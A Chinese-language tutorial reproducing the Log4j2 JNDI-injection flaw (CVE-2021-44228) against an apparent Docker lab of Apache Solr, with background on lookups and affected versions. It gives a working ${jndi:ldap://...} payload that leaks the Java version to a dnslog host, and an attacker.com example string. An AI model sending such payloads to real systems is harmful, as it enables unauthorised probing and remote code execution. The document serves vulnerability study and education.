Log4j2-CVE-2021-44228漏洞復現
前置知識:
JNDI注入
JNDI 簡介:Java 命名和目錄接口(Java Naming and Directory Interface,JNDI)是 Java 平臺的一個重要特性,用于在 Java 應用程序中查找和訪問各種資源,如數據庫連接、EJB(Enterprise JavaBeans)等。它提供了一種統一的方式來定位和獲取這些資源,使得應用程序可以更靈活地配置和使用資源。。下圖是官方對JNDI介紹的架構圖:

如上圖所示,JNDI由三部分組成:JNDI API、Naming Manager、JNDI SPI。JNDI API是應用程序調用的接口,JNDI SPI是具體實現,應用程序需要指定具體實現的SPI。
而Log4j2 支持使用 JNDI 的lookup功能來解析和加載外部資源,lookup是一個查找方法,在日志格式中可以使用${jndi:ldap://example.com/}這樣的表達式,Log4j2會嘗試通過JNDI去指定的LDAP服務器獲取資源。下面是一個簡單的Java Lookup例子:
1 import org.apache.logging.log4j.LogManager; 2 import org.apache.logging.log4j.Logger; 3 import org.apache.logging.log4j.ThreadContext; 4 5 public class Log4j2Lookup { 6 public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class); 7 8 public static void main(String[] args) { 9 ThreadContext.put("userId", "test"); 10 LOGGER.error("userId: ${ctx:userId}"); 11 } 12 }
輸出內容: userId: test
從上面的例子可以看到,通過在日志字符串中加入"${ctx:userId}",Log4j2在輸出日志時,會自動在Log4j2的ThreadContext中查找并引用userId變量。格式類似"${type:var}",即可以實現對變量var的引用。type可以是如下值:
ctx:允許程序將數據存儲在 Log4j ThreadContext Map 中,然后在日志輸出過程中,查找其中的值。
env:允許系統在全局文件(如 /etc/profile)或應用程序的啟動腳本中配置環境變量,然后在日志輸出過程中,查找這些變量。例如:${env:USER}。
java:允許查找Java環境配置信息。例如:${java:version}。
jndi:允許通過 JNDI 檢索變量。 ......
其中和本次漏洞相關的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通過JNDI Lookup功能,獲取rmi//127.0.0.1:1099/a上的變量內容
上述代碼的執行結果也正是因為log4j2在獲取到${}這樣的格式的時候會自動的去調用lookup()方法。而這個方法的可怕之處就在于,它可以遠程加載對象,比如攻擊者傳一個像: lookup("rmi://127.0.0.1/a")或者lookup("ldap://127.0.0.1/a") 這樣的參數進去,它就可以遠程訪問到攻擊者本地的類,那如果這些類里面有惡意代碼的話,造成的危害顯然是非常嚴重的。
漏洞描述:
Log4j2 是 Log4j 的升級版本,它重構了 Log4j 框架,其優異的性能被廣泛的應用于各種常見的 Web 服務中。而Log4j2 在2.0-2.14.1版本中由于啟用了 lookup 功能,它是用來日志消息中替換變量的函數,通過配置文件中的${}調用的,它在日志解析時候會自動解析${jndi:}語法,攻擊者利用這個機制加載遠程的惡意類,最終實現遠程命令執行,從而造成JNDI注入漏洞。
觸發點可以是:請求頭、參數、User-Agent、X-Forwarded-For 等被記錄的字段,是一次 日志功能→命令執行 的鏈式漏洞。
影響版本:
- Apache Log4j 2.0-2.14.1
- Apache Log4j 1.2和Log4j 1.2.x系列不受影響
漏洞復現:
Apache Log4j2 不是一個特定的Web服務,而僅僅是一個第三方庫,我們可以通過找到一些使用了這個庫的應用來復現這個漏洞,比如Apache Solr。通過docker啟動靶場,然后訪問靶場,頁面如下圖:

靶機是一個Apache Solr 8.11.0,其依賴了Log4j 2.14.1。對目標網站進行測試驗證,首先準備dnslog,訪問https://dig.pm/,打開網站如下所示:

點擊藍色按鈕,生成一個用于接收返回參數的網址:45243541e7.ipv6.1433.eu.org,然后進行如下拼接訪問。
payload: http://74.48.194.203:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.45243541e7.ipv6.1433.eu.org}
訪問頁面之后顯示如下圖:

然后返回dnslog平臺收到相關日志(耐心等一會),顯示出當前Java版本。如下圖:

至此,完成Log4j2遠程代碼漏洞驗證。
漏洞原理:
動態日志解析:Log4j2 支持通過 ${} 語法動態解析日志內容中的變量。
JNDI 注入:攻擊者構造包含 ${jndi:ldap://attacker.com/exp} 的日志消息,觸發服務端向惡意 LDAP/RMI 服務器請求并加載遠程類。整個JNDI注入的流程圖如下:

簡單總結:攻擊者可以構造惡意的 JNDI 資源,當 Log4j2嘗試通過 JNDI 去獲取這個資源時,執行其中的惡意代碼。

浙公網安備 33010602011771號